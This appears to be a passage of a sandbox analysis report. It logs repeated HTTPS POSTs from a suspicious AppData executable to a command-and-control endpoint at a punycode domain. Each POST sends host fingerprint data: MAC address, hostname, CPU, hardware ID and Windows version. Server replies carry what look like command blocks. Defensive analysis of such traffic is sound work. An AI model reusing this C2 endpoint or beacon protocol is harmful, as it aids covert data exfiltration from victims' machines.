GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49948	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:25 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:25 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49956	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:26 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:26 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49964	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:27 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:27 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49972	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:28 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:28 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49980	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:29 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:29 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49989	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:30 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:30 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50001	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:31 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:31 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50007	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:31 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:31 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.
2024-11-19 17:56:32 UTC	166	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 19 Nov 2024 17:56:32 GMT content-type: text/html content-length: 98 cache-control: private connection: close
2024-11-19 17:56:32 UTC	98	IN	Data Raw: 01 13 00 00 62 00 00 00 00 00 00 00 00 00 00 00 13 11 99 08 d8 89 77 45 a4 51 a6 0f ef e8 f2 0b 9c ad 00 00 23 00 00 00 74 72 73 30 31 31 2e 78 6e 2d 2d 38 30 61 6b 69 63 6f 6b 63 30 61 61 62 6c 63 2e 78 6e 2d 2d 70 31 61 69 0b 00 00 00 31 34 32 20 31 30 34 20 36 30 33 00 00 00 00 00 00 00 00 Data Ascii: bwEQ#trs011.xn--80akicokc0aablc.xn--p1ai142 104 603

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50018	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:33 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 256
2024-11-19 17:56:33 UTC	256	OUT	Data Raw: 03 31 00 00 00 01 00 00 3a 00 00 00 da 34 58 d3 5d da 4c 41 8d 6c bc d2 a6 b1 8f 16 70 00 00 00 70 00 31 00 02 00 31 00 34 00 32 00 20 00 31 00 30 00 34 00 20 00 36 00 30 00 33 00 04 00 70 00 31 00 02 00 31 00 34 00 32 00 20 00 31 00 30 00 34 00 20 00 36 00 30 00 33 00 04 00 70 00 31 00 02 00 31 00 34 00 32 00 20 00 31 00 30 00 34 00 20 00 36 00 30 00 33 00 04 00 70 00 31 00 02 00 31 00 34 00 32 00 20 00 31 00 30 00 34 00 20 00 36 00 30 00 33 00 04 00 70 00 31 00 02 00 31 00 34 00 32 00 20 00 31 00 30 00 34 00 20 00 36 00 30 00 33 00 04 00 70 00 31 00 02 00 03 00 70 00 32 00 02 00 03 00 70 00 34 00 02 00 31 00 34 00 32 00 20 00 31 00 30 00 34 00 20 00 36 00 30 00 33 00 03 00 70 00 35 00 02 00 31 00 34 00 32 00 20 00 31 00 30 00 34 00 20 00 36 00 30 00 33 Data Ascii: 1:4X]LAlpp1142 104 603p1142 104 603p1142 104 603p1142 104 603p1142 104 603p1p2p4142 104 603p5142 104 603
2024-11-19 17:56:33 UTC	390	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 256 1:vKlGnpp1142 104 603p1142 104 603p1142 104 603p1142 104 603p1142 104 603p1p2p4142 104 603p5142 104 603
2024-11-19 17:56:33 UTC	390	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 256 1:I*K1pp1142 104 603p1142 104 603p1142 104 603p1142 104 603p1142 104 603p1p2p4142 104 603p5142 104 603
2024-11-19 17:56:33 UTC	390	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 256 1:6otL?:pp1142 104 603p1142 104 603p1142 104 603p1142 104 603p1142 104 603p1p2p4142 104 603p5142 104 603
2024-11-19 17:56:33 UTC	390	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 256 1:mF$~Wpp1142 104 603p1142 104 603p1142 104 603p1142 104 603p1142 104 603p1p2p4142 104 603p5142 104 603
2024-11-19 17:56:33 UTC	168	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 19 Nov 2024 17:56:33 GMT content-type: text/html content-length: 2078 cache-control: private connection: close
2024-11-19 17:56:33 UTC	2078	IN	Data Raw: 02 13 00 00 1e 08 00 00 3a 00 00 00 da 34 58 d3 5d da 4c 41 8d 6c bc d2 a6 b1 8f 16 00 00 00 00 05 00 00 00 04 00 04 00 04 00 04 00 04 00 f6 03 00 00 44 00 31 00 02 00 31 00 01 00 32 00 01 00 33 00 01 00 34 00 01 00 36 00 01 00 35 00 01 00 31 00 30 00 01 00 37 00 01 00 38 00 01 00 31 00 31 00 01 00 31 00 34 00 01 00 31 00 38 00 01 00 31 00 37 00 01 00 31 00 33 00 01 00 31 00 35 00 05 00 44 00 31 00 02 00 30 00 03 00 44 00 32 00 02 00 30 00 03 00 44 00 33 00 02 00 03 00 44 00 34 00 02 00 30 00 03 00 44 00 35 00 02 00 11 04 30 04 37 04 3e 04 32 04 30 04 4f 04 03 00 44 00 36 00 02 00 31 00 03 00 44 00 37 00 02 00 03 00 44 00 38 00 02 00 32 00 2c 00 31 00 2c 00 33 00 2c 00 34 00 2c 00 36 00 2c 00 35 00 2c 00 31 00 30 00 2c 00 37 00 2c 00 38 00 2c 00 33 00 30 Data Ascii: :4X]LAlD11234651078111418171315D10D20D3D40D507>20OD61D7D82,1,3,4,6,5,10,7,8,30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50038	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:35 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:35 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50046	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:36 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:36 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50054	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:37 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:37 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50062	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:38 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:38 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50071	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:38 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:38 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

